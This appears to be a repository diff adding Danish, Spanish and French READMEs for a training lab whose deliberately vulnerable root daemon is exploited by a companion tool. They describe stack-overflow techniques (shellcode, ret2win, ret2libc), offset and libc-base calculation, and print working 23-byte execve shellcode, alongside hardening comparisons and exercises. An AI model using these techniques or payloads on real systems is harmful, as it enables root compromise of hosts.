||||||
|
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)`, der adresserer `buf`,
|
||||||
|
og det første nøgne `ret`. Ud fra forskydningen beregner det
|
||||||
|
`rip_off = 80 + 8 = 88`. Intet er hardkodet; det overlever en genbygning.
|
||||||
|
2. **Selv-introspektion** — læser sit eget `/proc/self/maps` og `dlsym()`er
|
||||||
|
`system`/`read` for at lære libc-*offsets*. Targetets libc-base er
|
||||||
|
`leaked_read − off_read`, derefter `system = base + off_system`, osv. Denne
|
||||||
|
delta-aritmetik er grunden til, at exploits overlever libc-versioner.
|
||||||
|
3. **Forbind** — læser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||||
|
4. **Byg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
|
||||||
|
`rip_off`, derefter den gemte RIP = `buf` (så `ret` hopper ind på koden). For
|
||||||
|
`ret2win`/`ret2libc`: adresser beregnet ud fra analysen — ingen udførelse af
|
||||||
|
stacken nødvendig.
|
||||||
|
5. **Justeringsfixen** — et kapret nøgent `ret` giver callee'en
|
||||||
|
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-fault'er på en ikke-justeret
|
||||||
|
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeget). foowosc
|
||||||
|
indsætter ét ekstra `ret`-gadget før det rigtige target og genopretter
|
||||||
|
invarianten. Silkehandsketeknik i et shellcode-laboratorium, men det er
|
||||||
|
forskellen mellem en payload, der "nogle gange virker", og en, der altid
|
||||||
|
virker.
|
||||||
|
6. **Send, derefter videresend** — offerprocessen *er* shellen; denne proces
|
||||||
|
splisser kun bytes. Ingen lokal shell, ingen anden læser — single-read-
|
||||||
|
cursor-fejlen (ét spist byte per chunk) er dokumenteret i `become_shell()`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Daemonens bevidste fejl (alle i `foowosd.c`, alle ægte CWE-klasser)
|
||||||
|
|
||||||
|
| # | fejl | CWE | note |
|
||||||
|
|---|-----|-----|------|
|
||||||
|
| 1 | `read(fd, buf, 512)` ind i et 64-byte stack-buffer | CWE-120 | overløbet: 448 bytes forbi `buf`, gemt RIP ved +88 |
|
||||||
|
| 2 | kun `snprintf(line, …, "%.*s", …)`; men angriber-`%` i echo-stien | CWE-134 | leaket er her den reelle payload; et `%n` i en *root*-proces ville være write-what-where som root |
|
||||||
|
| 3 | børn beholder root, mens de håndterer utroverdige inputs | CWE-271 | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rækkefølge, med verifikation) står i filen, kommenteret, *bevidst aldrig kaldt* |
|
||||||
|
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` afsløret til enhver klient | CWE-200 | uden disse leaks kunne shellcode- og ret2libc-teknikkerne ikke beregne adresser (ASLR ville besejre dem) |
|
||||||
|
|
||||||
|
Handleren har præcis samme `buf[64]`/`read(512)`-form som de to andre
|
||||||
|
laboratorier, så den fælles objdump-baserede erkendelsespipeline virker
|
||||||
|
uændret.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sådan inspicerer du daemonen (læringssti)
|
||||||
|
|
||||||
|
```
|
||||||
|
make status # kører den? som hvilken uid? filtilsand vises
|
||||||
|
make run-root # eller run / run-root-ns
|
||||||
|
./foowosc -t leak # se banneret og leaks, send intet
|
||||||
|
./foowosc -t demo # junk-overløb -> SIGSEGV, logget med RIP/rsp
|
||||||
|
./foowosc -t shellcode # den interaktive root-shell
|
||||||
|
make test-root # fuld matrix, alle teknikker, --must-root
|
||||||
|
```
|
||||||
|
|
||||||
|
Crash-reporter: Ved SIGSEGV logger daemonen fejladressen, RIP og RSP. Et `ret`
|
||||||
|
ind i en ikke-kanonisk `0x4141…` fault'er ved `ret`-et selv (RIP som `0x4028xx`,
|
||||||
|
`si_addr=(nil)`) — værd at vide, før du fejllæser en loglinje som en
|
||||||
|
NULL-dereference.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hvorfor shellcoden er 23 bytes, ikke 32
|
||||||
|
|
||||||
|
```
|
||||||
|
31 f6 xor esi, esi ; argv = NULL
|
||||||
|
31 d2 xor edx, edx ; envp = NULL
|
||||||
|
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||||
|
57 push rdi
|
||||||
|
48 89 e7 mov rdi, rsp
|
||||||
|
6a 3b push 0x3b ; 59 = execve
|
||||||
|
58 pop rax
|
||||||
|
0f 05 syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
SUID-laboratoriet har brug for `setreuid(0,0)` foran dette. Dette
|
||||||
|
laboratorium ikke, af den grund der gentages overalt: **ruid er allerede 0**,
|
||||||
|
fordi root startede processen. `make verify` beviser, at bytes i `foowosc.c`
|
||||||
|
er byte-for-byte det, `shellcode.S` assemblerer til.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Modforanstaltninger — hvad `make hardened` ændrer
|
||||||
|
|
||||||
|
Hærdet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||||
|
|
||||||
|
| teknik | sårbar `foowosd` | hærdet `foowosd_hardened` |
|
||||||
|
|-----------|----------------------|------------------------------|
|
||||||
|
| `shellcode` | root-shell (eksekverbar stack) | SIGSEGV ved canary-tjekket / NX |
|
||||||
|
| `ret2win` / `ret2libc` | root-shell | canary abort'er `ret` — men bemærk: en *PIE*-build gør også disse adresser tilfældige |
|
||||||
|
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
|
||||||
|
|
||||||
|
`make test-hardened` demonstrerer det live. Den vigtige observation er ikke
|
||||||
|
bare, at modforanstaltningerne dræbte teknikkerne — det er, at de **ikke**
|
||||||
|
gjorde daemonen til "ikke-root". En hærdet build, der stadig *startes* som
|
||||||
|
root, er stadig en root-daemon; modforanstaltningen hæver kun barren for
|
||||||
|
angriberen. Least privilege (`drop_privs()`) og hukommelsessikkerhed er to
|
||||||
|
forskellige fejl, og en daemon, der ikke behøver root, bør ikke have det.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sikkerhedsgelændere (samme politik som SUID-laboratoriet)
|
||||||
|
|
||||||
|
- **Kun loopback.** foowosd nægter at binde andet end `127.0.0.1` /
|
||||||
|
`localhost` / `::1`, medmindre du giver `-L`. En root-daemon på en rigtig
|
||||||
|
grænseflade er en *fjern* root-tjeneste. `-L` findes kun for at vise vagten;
|
||||||
|
brug den ikke på noget, der betyder noget.
|
||||||
|
- **Tilstanden logges højt.** Ved start printer den `ruid/euid` og om dette er
|
||||||
|
en root-proces, så du altid ved, hvilket exploit-resultat du skal forvente.
|
||||||
|
- **Domme kommer fra exit-status** i `make test*` (pty-harnessens
|
||||||
|
returkode), aldrig fra at greppe dens stdout — grebbart output lyver.
|
||||||
|
- **pty'en skal køre cooked + ECHO off**, ellers ekkoer harnessen sin egen
|
||||||
|
kommandolinje og forfalsker markøren. Harnessen slår ECHO fra og beholder
|
||||||
|
ECHONL på.
|
||||||
|
- **Oprydningsritual:** `make stop` efter hver session. Hvis daemonen er
|
||||||
|
root-ejet, siger `stop` dig at køre `sudo pkill -x foowosd`.
|
||||||
|
- Kør aldrig dette på en host, du holder af. Det findes for at uddele
|
||||||
|
`uid=0`-shells over loopback-grænsefladen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Øvelser
|
||||||
|
|
||||||
|
1. Kør `make run` (user-daemon), derefter `./foowosc -t shellcode`. Hvorfor er
|
||||||
|
shellen ikke root? (Tjek `ids=` i banneret — foowosc siger dig det, før du
|
||||||
|
overhovedet forbinder.)
|
||||||
|
2. `make stop && sudo make run-root && make test-root`. Forklar ud fra
|
||||||
|
bannerlinjen, hvorfor alle fire teknikker nu giver `uid=0(root)`.
|
||||||
|
3. Find i `foowosd.c` `drop_privs()` og læs, *hvorfor rækkefølgen* af
|
||||||
|
`setgroups → setgid → setuid` betyder noget. Beslut, hvor i `main()` den
|
||||||
|
ville høre hjemme, og hvad laboratoriets angrebsflade bliver, når den
|
||||||
|
faktisk kaldes.
|
||||||
|
4. Beregn `rip_off` i hånden ud fra `objdump -d foowosd`: find `buf`s
|
||||||
|
`lea -0xNN(%rbp)` inde i `vulnerable_handler`, derefter `NN + 8`. foowosc
|
||||||
|
gør præcis det; tjek dens regnestykke mod dit eget.
|
||||||
|
5. `make hardened && make test-hardened`. Hvilken teknik falder for canaryen,
|
||||||
|
og hvilken for NX? Hvorfor ændrer hærdning ikke, hvad `make status`
|
||||||
|
rapporterer om *processen*?
|
||||||
|
6. Sammenlign de to laboratoriers shellcodes: 23 bytes her, 32 for foosd. Hvad
|
||||||
|
gør de ekstra 9 bytes, og hvorfor behøves de kun i SUID-tilfældet?
|
||||||
|
7. Læs `become_shell()`s kommentar om den enkelte læse-cursor. Genskab
|
||||||
|
fiaskotilstanden mentalt: to læsere på én socket betyder, at login-shellen
|
||||||
|
æder ét byte per chunk — "uid=1000…" ankommer som "id=1000…". Hvorfor kan en
|
||||||
|
relay-proces aldrig have denne fejl?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Filer
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd.c den sårbare root-daemon (hver linje kommenteret)
|
||||||
|
foowosc.c exploitet (hver linje kommenteret)
|
||||||
|
shellcode.S reference-assembly for 23-byte-payloaden
|
||||||
|
tests/pty_wosuid_test.c pty-harnessen (markør + strenge id-form-tjek)
|
||||||
|
Makefile build / run / run-root / run-root-ns / test /
|
||||||
|
test-root / verify / hardened / clean …
|
||||||
|
```
|
||||||
|
|
||||||
|
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
|
||||||
|
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevidst
|
||||||
|
forskellige — du kan køre alle tre på én gang og krydstjekke deres `ids=`-linjer
|
||||||
|
i banneret.
|
||||||
318
wosuid/README.ES.md
Normal file
318
wosuid/README.ES.md
Normal file
|
|
@ -0,0 +1,318 @@
|
||||||
|
# El laboratorio `wosuid` — RCE root **sin** bit setuid
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd un demonio deliberadamente vulnerable que es root porque fue
|
||||||
|
*INICIADO* como root (puerto 2344, solo loopback por defecto)
|
||||||
|
foowosc el exploit: convierte un desbordamiento de pila en un **shell**
|
||||||
|
root ejecutando shellcode — los mismos 23 bytes que rompieron el
|
||||||
|
demonio user-level `food` del laboratorio principal
|
||||||
|
```
|
||||||
|
|
||||||
|
Este es el tercer laboratorio de la serie. La misma cadena de herramientas de
|
||||||
|
exploit, el mismo estilo, una diferencia fundamental:
|
||||||
|
|
||||||
|
| Laboratorio | cómo el proceso objetivo se vuelve root | ¿shell `uid=0(root)`? |
|
||||||
|
|----------|------------------------------------------------|----------------------|
|
||||||
|
| food/fooc | nunca — es un demonio de usuario normal | no |
|
||||||
|
| foosd/foosc | el bit SUID (`chmod u+s`) — euid 0, ruid 1000 | sí (exige `setreuid` en el shellcode, porque bash resetea euid→ruid) |
|
||||||
|
| **foowosd/foowosc** | **ninguno — root *inicia* el demonio** (sudo / systemd `User=root`) | **sí (shellcode `execve` normal)** |
|
||||||
|
|
||||||
|
El bit setuid es un *medio de transporte* de privilegios — no los privilegios
|
||||||
|
mismos. Un demonio iniciado por root tiene uids real, efectivo y guardado todos
|
||||||
|
iguales a 0. Para el kernel es root, punto; no puede ni quiere saber si el
|
||||||
|
proceso llegó ahí vía `+s` en un archivo o vía `sudo ./foowosd`. El
|
||||||
|
desbordamiento de un demonio iniciado por root es por tanto un exploit root —
|
||||||
|
*"no tengo binarios SUID" no es lo mismo que "no soy explotable".*
|
||||||
|
|
||||||
|
Esa es toda la lección de este laboratorio. Todo lo demás es el mecanismo.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Inicio rápido (lo que pidió el usuario)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd wosuid
|
||||||
|
make # compila el demonio, el exploit y el harness de prueba
|
||||||
|
```
|
||||||
|
|
||||||
|
### Lo auténtico — ejecuta el demonio como **root**
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo make run-root # inicia foowosd como uid 0 (proceso, no estado de archivo)
|
||||||
|
make test-root # cada técnica debe dar ahora uid=0(root)
|
||||||
|
```
|
||||||
|
|
||||||
|
### ¿Sin sudo? El camino de kernel idéntico vía un user namespace
|
||||||
|
|
||||||
|
```
|
||||||
|
make run-root-ns # uid 0 en un user namespace — no se necesita contraseña
|
||||||
|
make test-root # los mismos veredictos; lo usa la CI y todo el que no tenga sudo
|
||||||
|
```
|
||||||
|
|
||||||
|
### Referencia — demonio como tu usuario normal (root en ninguna parte)
|
||||||
|
|
||||||
|
```
|
||||||
|
make run # foowosd corre con tus uids
|
||||||
|
make test # los exploits aterrizan shells, pero se espera que `root` sea MISSING
|
||||||
|
```
|
||||||
|
|
||||||
|
### Rito de limpieza (siempre: esto es un laboratorio de shell root)
|
||||||
|
|
||||||
|
```
|
||||||
|
make stop
|
||||||
|
```
|
||||||
|
|
||||||
|
`foowosd` *no* es setuid, y nada en este directorio hace nunca `chmod +s` —
|
||||||
|
ese es el punto. El estado peligroso es **el proceso**, no el archivo.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cuando te digan que pongas el bit SUID
|
||||||
|
|
||||||
|
No te lo van **a** decir. Este laboratorio no tiene deliberadamente ningún bit
|
||||||
|
SUID:
|
||||||
|
|
||||||
|
- `foowosd` se compila, te pertenece y tiene permisos normales como cualquier
|
||||||
|
otro programa.
|
||||||
|
- Se vuelve root como hacen los demonios reales — siendo *iniciado* por root.
|
||||||
|
- `make run-root` usa `sudo` para exactamente eso, y `make run-root-ns`
|
||||||
|
consigue un proceso uid 0 real sin nada de eso.
|
||||||
|
|
||||||
|
El bit Suid pertenece al laboratorio *hermano* (`foosd`). El contraste entre los
|
||||||
|
dos es el plan de estudios:
|
||||||
|
|
||||||
|
1. Laboratorio SUID: el bit da **euid 0, pero ruid 1000** → `execve("/bin/sh")`
|
||||||
|
es degradado por el guardián de bash (`euid != ruid` → reset) → el shellcode
|
||||||
|
debe llamar primero a `setreuid(0,0)` (payload de 32 bytes).
|
||||||
|
2. Este laboratorio: root **inicia** el proceso → **ruid == euid == 0** → el
|
||||||
|
guardián no tiene nada que resetear → el shellcode `execve` normal de 23
|
||||||
|
bytes conserva root.
|
||||||
|
|
||||||
|
El mismo desbordamiento. La misma técnica. *Origen* de privilegios diferente,
|
||||||
|
forma de payload distinta. Esa es la lección en miniatura.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## El protocolo
|
||||||
|
|
||||||
|
Sea cual sea el tipo de cliente que se conecta, foowosd lo saluda con:
|
||||||
|
|
||||||
|
```
|
||||||
|
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (el banner + las fugas)
|
||||||
|
BUF=0x7ffd… (la dirección del búfer)
|
||||||
|
```
|
||||||
|
|
||||||
|
`ids=euid/ruid` es el canal *"¿soy root?"*. foowosc imprime una advertencia
|
||||||
|
fuerte cuando euid no es 0 (es decir, iniciaste el demonio como usuario
|
||||||
|
normal): el payload sigue aterrizando, pero el shell se convierte en un shell
|
||||||
|
de usuario, y llamar al exploit "roto" sería falso — solo que no escala.
|
||||||
|
|
||||||
|
> Nota ortográfica: `ids=`, no `euid=`/`ruid=`. El harness de prueba prueba un
|
||||||
|
> `id` vivo haciendo match de la forma literal `uid=NNN(`, así que el banner
|
||||||
|
> nunca debe contener una subcadena que satisfaga ella misma la comprobación.
|
||||||
|
> (En el laboratorio SUID, exactamente esa trampa produjo un falso positivo
|
||||||
|
> espectacular.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Las técnicas de exploit (`foowosc -t …`)
|
||||||
|
|
||||||
|
Las cuatro rutas de exploit de abajo funcionan contra foowosd. Cuando el demonio
|
||||||
|
es root, **todo lo que hace spawn de algo da root** — a diferencia del
|
||||||
|
laboratorio SUID, donde ret2win/ret2libc eran degradados silenciosamente a uid
|
||||||
|
1000 por el guardián de bash. Aquí no hay desajuste que vigilar.
|
||||||
|
|
||||||
|
| `-t` | qué ocurre | cuando el demonio es root |
|
||||||
|
|---------------|---------------------------------------------------------------------|---------------------|
|
||||||
|
| `shellcode` | `execve("/bin/sh", NULL, NULL)` de 23 bytes corre en la pila. | **shell root** (por defecto) |
|
||||||
|
| `ret2win` | salto a `win()` → `execl("/bin/sh")` | **shell root** |
|
||||||
|
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **shell root** |
|
||||||
|
| `demo` | solo desbordamiento de basura — espera un SIGSEGV en el log del demonio | crash, por diseño |
|
||||||
|
| `leak` | solo imprime fugas, no envía payload | n/a |
|
||||||
|
|
||||||
|
```
|
||||||
|
./foowosc -t shellcode # interactivo; objetivo por defecto 127.0.0.1:2344
|
||||||
|
./foowosc -t shellcode -n # enviar y reportar, sin sesión interactiva
|
||||||
|
```
|
||||||
|
|
||||||
|
Una sesión interactiva exitosa retransmite tu terminal al shell *en la víctima*
|
||||||
|
— hay exactamente un shell en el cuadro, y es `/bin/sh` corriendo como root
|
||||||
|
dentro de foowosd. Escribe `id` para ver `uid=0(root)`.
|
||||||
|
|
||||||
|
### Por qué no hay una técnica `ret2win-root` aquí
|
||||||
|
|
||||||
|
foosc tenía una — saltaba a un `win_root()` que llamaba a `setreuid(0,0)`
|
||||||
|
antes del exec, porque un proceso setuid corría con un uid real que todavía
|
||||||
|
decía 1000. Un proceso *iniciado* por root ya tiene el uid real en 0; no hay
|
||||||
|
nada que limpiar, así que la función y la técnica extra no enseñarían nada.
|
||||||
|
Eliminada.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Qué hace foowosc, paso a paso
|
||||||
|
|
||||||
|
1. **Análisis estático** — `objdump -d` de `./foowosd`. Encuentra
|
||||||
|
`vulnerable_handler`, `win()`, el `lea -0x50(%rbp)` que direcciona `buf`, y
|
||||||
|
el primer `ret` desnudo. A partir del desplazamiento calcula
|
||||||
|
`rip_off = 80 + 8 = 88`. Nada está hardcodeado; sobrevive a una
|
||||||
|
recompilación.
|
||||||
|
2. **Auto-introspección** — lee su propio `/proc/self/maps` y hace `dlsym()` de
|
||||||
|
`system`/`read` para aprender los *offsets* de libc. La base libc del
|
||||||
|
objetivo es `leaked_read − off_read`, luego `system = base + off_system`,
|
||||||
|
etc. Esa aritmética de delta es la razón por la que los exploits sobreviven
|
||||||
|
a las versiones de libc.
|
||||||
|
3. **Conecta** — lee el banner/las fugas (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||||
|
4. **Construye el payload** — para `shellcode`: 23 bytes de código máquina,
|
||||||
|
basura hasta `rip_off`, luego la RIP guardada = `buf` (para que el `ret`
|
||||||
|
salte dentro del código). Para `ret2win`/`ret2libc`: direcciones calculadas
|
||||||
|
del análisis — no se necesita ejecución de pila.
|
||||||
|
5. **El fix de alineación** — un `ret` desnudo secuestrado da a la callee
|
||||||
|
`rsp ≡ 8 (mod 16)`, y el código SSE2 de glibc falla con `movaps` en una pila
|
||||||
|
mal alineada (el crash-reporter registra `si_addr=(nil)` — la pista).
|
||||||
|
foowosc inserta un gadget `ret` extra antes del objetivo real y restaura la
|
||||||
|
invariante. Una técnica de guante de seda en un laboratorio de shellcode,
|
||||||
|
pero es la diferencia entre un payload que "a veces funciona" y uno que
|
||||||
|
siempre funciona.
|
||||||
|
6. **Envía, luego retransmite** — el proceso víctima *es* el shell; este
|
||||||
|
proceso solo splissea bytes. Sin shell local, sin otro lector — el bug del
|
||||||
|
cursor de lectura único (un byte comido por trozo) está documentado en
|
||||||
|
`become_shell()`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Los errores deliberados del demonio (todos en `foowosd.c`, todas clases CWE reales)
|
||||||
|
|
||||||
|
| # | error | CWE | nota |
|
||||||
|
|---|-----|-----|------|
|
||||||
|
| 1 | `read(fd, buf, 512)` en un búfer de pila de 64 bytes | CWE-120 | el desbordamiento: 448 bytes más allá de `buf`, RIP guardada en +88 |
|
||||||
|
| 2 | solo `snprintf(line, …, "%.*s", …)`; pero `%` del atacante en el camino de eco | CWE-134 | la fuga es aquí el payload real; un `%n` en un proceso *root* sería write-what-where como root |
|
||||||
|
| 3 | los hijos conservan root mientras manejan entradas no confiables | CWE-271 | el `drop_privs()` correcto (setgroups→setgid→setuid, en ese orden, con verificación) está en el archivo, comentado, *deliberadamente nunca llamado* |
|
||||||
|
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` revelados a cualquier cliente | CWE-200 | sin estas fugas, las técnicas de shellcode y ret2libc no podrían calcular direcciones (ASLR las vencería) |
|
||||||
|
|
||||||
|
El handler tiene exactamente la misma forma `buf[64]`/`read(512)` que los otros
|
||||||
|
dos laboratorios, así que el pipeline común de reconocimiento basado en objdump
|
||||||
|
funciona sin cambios.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cómo inspeccionar el demonio (camino de aprendizaje)
|
||||||
|
|
||||||
|
```
|
||||||
|
make status # ¿corre? ¿como qué uid? se muestra el estado del archivo
|
||||||
|
make run-root # o run / run-root-ns
|
||||||
|
./foowosc -t leak # mira el banner y las fugas, no envíes nada
|
||||||
|
./foowosc -t demo # desbordamiento de basura -> SIGSEGV, registrado con RIP/rsp
|
||||||
|
./foowosc -t shellcode # el shell root interactivo
|
||||||
|
make test-root # matriz completa, todas las técnicas, --must-root
|
||||||
|
```
|
||||||
|
|
||||||
|
Crash-reporter: En SIGSEGV, el demonio registra la dirección de error, RIP y
|
||||||
|
RSP. Un `ret` dentro de un `0x4141…` no canónico falla en el `ret` mismo (RIP
|
||||||
|
como `0x4028xx`, `si_addr=(nil)`) — bueno saberlo antes de leer mal una línea
|
||||||
|
de log como desreferencia NULL.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Por qué el shellcode es de 23 bytes, no de 32
|
||||||
|
|
||||||
|
```
|
||||||
|
31 f6 xor esi, esi ; argv = NULL
|
||||||
|
31 d2 xor edx, edx ; envp = NULL
|
||||||
|
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||||
|
57 push rdi
|
||||||
|
48 89 e7 mov rdi, rsp
|
||||||
|
6a 3b push 0x3b ; 59 = execve
|
||||||
|
58 pop rax
|
||||||
|
0f 05 syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
El laboratorio SUID necesita `setreuid(0,0)` delante de esto. Este laboratorio
|
||||||
|
no, por la razón repetida en todas partes: **ruid ya es 0**, porque root inició
|
||||||
|
el proceso. `make verify` prueba que los bytes en `foowosc.c` son, byte a byte,
|
||||||
|
lo que `shellcode.S` ensambla.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Mitigaciones — qué cambia `make hardened`
|
||||||
|
|
||||||
|
Build endurecida (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||||
|
|
||||||
|
| técnica | `foowosd` vulnerable | `foowosd_hardened` endurecido |
|
||||||
|
|-----------|----------------------|------------------------------|
|
||||||
|
| `shellcode` | shell root (pila ejecutable) | SIGSEGV en la comprobación de canary / NX |
|
||||||
|
| `ret2win` / `ret2libc` | shell root | la canary aborta el `ret` — pero nota: una build *PIE* también vuelve aleatorias estas direcciones |
|
||||||
|
| `demo` | SIGSEGV, registrado | SIGSEGV, registrado |
|
||||||
|
|
||||||
|
`make test-hardened` lo demuestra en vivo. La observación importante no es solo
|
||||||
|
que las mitigaciones mataron las técnicas — es que **no** convirtieron al
|
||||||
|
demonio en "no-root". Una build endurecida que todavía se *inicia* como root
|
||||||
|
sigue siendo un demonio root; la mitigación solo sube el listón para el
|
||||||
|
atacante. Mínimo privilegio (`drop_privs()`) y seguridad de memoria son dos
|
||||||
|
errores distintos, y un demonio que no necesita root no debería tenerlo.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Barandillas de seguridad (la misma política que el laboratorio SUID)
|
||||||
|
|
||||||
|
- **Solo loopback.** foowosd se niega a enlazarse a nada que no sea `127.0.0.1`
|
||||||
|
/ `localhost` / `::1`, salvo que des `-L`. Un demonio root en una interfaz
|
||||||
|
real es un *servicio root remoto*. `-L` existe solo para mostrar la
|
||||||
|
barandilla; no lo uses en algo que importe.
|
||||||
|
- **El estado se registra en voz alta.** Al arrancar imprime `ruid/euid` y si
|
||||||
|
esto es un proceso root, para que siempre sepas qué resultado de exploit
|
||||||
|
esperar.
|
||||||
|
- **Los veredictos vienen del código de salida** en `make test*` (el código de
|
||||||
|
retorno del harness pty), nunca de hacer grep de su stdout — la salida
|
||||||
|
grepable miente.
|
||||||
|
- **La pty debe correr en cooked + ECHO off**, si no, el harness ecoa su propia
|
||||||
|
línea de comandos y falsifica el marcador. El harness apaga ECHO y mantiene
|
||||||
|
ECHONL activo.
|
||||||
|
- **Rito de limpieza:** `make stop` después de cada sesión. Si el demonio es
|
||||||
|
propiedad de root, `stop` te dice que ejecutes `sudo pkill -x foowosd`.
|
||||||
|
- Nunca ejecutes esto en un host que te importe. Existe para repartir shells
|
||||||
|
`uid=0` por la interfaz loopback.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ejercicios
|
||||||
|
|
||||||
|
1. Ejecuta `make run` (demonio de usuario), luego `./foowosc -t shellcode`.
|
||||||
|
¿Por qué el shell no es root? (Comprueba `ids=` en el banner — foowosc te
|
||||||
|
lo dice antes de que siquiera te conectes.)
|
||||||
|
2. `make stop && sudo make run-root && make test-root`. Explica a partir de la
|
||||||
|
línea del banner por qué las cuatro técnicas dan ahora `uid=0(root)`.
|
||||||
|
3. Encuentra `drop_privs()` en `foowosd.c` y lee *por qué el orden* de
|
||||||
|
`setgroups → setgid → setuid` importa. Decide dónde en `main()` encajaría, y
|
||||||
|
qué se vuelve la superficie de ataque del laboratorio cuando de verdad se
|
||||||
|
llama.
|
||||||
|
4. Calcula `rip_off` a mano desde `objdump -d foowosd`: encuentra el
|
||||||
|
`lea -0xNN(%rbp)` de `buf` dentro de `vulnerable_handler`, luego `NN + 8`.
|
||||||
|
foowosc hace exactamente eso; comprueba su cálculo contra el tuyo.
|
||||||
|
5. `make hardened && make test-hardened`. ¿Qué técnica cae ante la canary, y
|
||||||
|
cuál ante NX? ¿Por qué el endurecimiento no cambia lo que `make status`
|
||||||
|
reporta sobre *el proceso*?
|
||||||
|
6. Compara los shellcodes de los dos laboratorios: 23 bytes aquí, 32 para
|
||||||
|
foosd. ¿Qué hacen los 9 bytes extra, y por qué solo se necesitan en el caso
|
||||||
|
SUID?
|
||||||
|
7. Lee el comentario de `become_shell()` sobre el cursor de lectura único.
|
||||||
|
Reconstruye mentalmente el estado de fallo: dos lectores en un socket
|
||||||
|
significa que el shell de login come un byte por trozo — "uid=1000…" llega
|
||||||
|
como "id=1000…". ¿Por qué un proceso relay no puede tener nunca este error?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Archivos
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd.c el demonio root vulnerable (cada línea comentada)
|
||||||
|
foowosc.c el exploit (cada línea comentada)
|
||||||
|
shellcode.S el assembly de referencia para el payload de 23 bytes
|
||||||
|
tests/pty_wosuid_test.c el harness pty (marcador + comprobación estricta de forma id)
|
||||||
|
Makefile build / run / run-root / run-root-ns / test /
|
||||||
|
test-root / verify / hardened / clean …
|
||||||
|
```
|
||||||
|
|
||||||
|
Laboratorios hermanos: `../food.c`/`../fooc.c` (referencia user-level, puerto
|
||||||
|
2342) y `../suid/` (demonio root SUID `foosd`/`foosc`, puerto 2343). Los
|
||||||
|
puertos son deliberadamente distintos — puedes ejecutar los tres a la vez y
|
||||||
|
cruzar sus líneas `ids=` en el banner.
|
||||||
322
wosuid/README.FR.md
Normal file
322
wosuid/README.FR.md
Normal file
|
|
@ -0,0 +1,322 @@
|
||||||
|
# Le lab `wosuid` — RCE root **sans** bit setuid
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd un démon volontairement vulnérable qui est root parce qu'il a été
|
||||||
|
*DÉMARRÉ* en tant que root (port 2344, loopback seulement par défaut)
|
||||||
|
foowosc l'exploit : transforme un débordement de pile en un **shell** root
|
||||||
|
en exécutant de la shellcode — les mêmes 23 octets qui ont cassé le
|
||||||
|
démon user-level `food` du lab principal
|
||||||
|
```
|
||||||
|
|
||||||
|
C'est le troisième lab de la série. Même chaîne d'outils d'exploit, même style,
|
||||||
|
une différence fondamentale :
|
||||||
|
|
||||||
|
| Lab | comment le processus cible devient root | shell `uid=0(root)` ? |
|
||||||
|
|----------|------------------------------------------------|----------------------|
|
||||||
|
| food/fooc | jamais — c'est un démon utilisateur ordinaire | non |
|
||||||
|
| foosd/foosc | le bit SUID (`chmod u+s`) — euid 0, ruid 1000 | oui (exige `setreuid` dans la shellcode, car bash réinitialise euid→ruid) |
|
||||||
|
| **foowosd/foowosc** | **aucun — root *démarre* le démon** (sudo / systemd `User=root`) | **oui (shellcode `execve` ordinaire)** |
|
||||||
|
|
||||||
|
Le bit setuid est un *moyen de transport* des privilèges — pas les privilèges
|
||||||
|
eux-mêmes. Un démon démarré par root a des uids réel, effectif et sauvegardé
|
||||||
|
tous égaux à 0. Pour le noyau, c'est root, point final ; il ne peut pas et ne
|
||||||
|
veut pas savoir si le processus y est arrivé via `+s` sur un fichier ou via
|
||||||
|
`sudo ./foowosd`. Le débordement d'un démon démarré par root est donc un exploit
|
||||||
|
root — *« je n'ai pas de binaires SUID » n'est pas la même chose que « je ne
|
||||||
|
suis pas exploitable ».*
|
||||||
|
|
||||||
|
C'est toute la leçon de ce lab. Tout ce qui suit, c'est le mécanisme.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
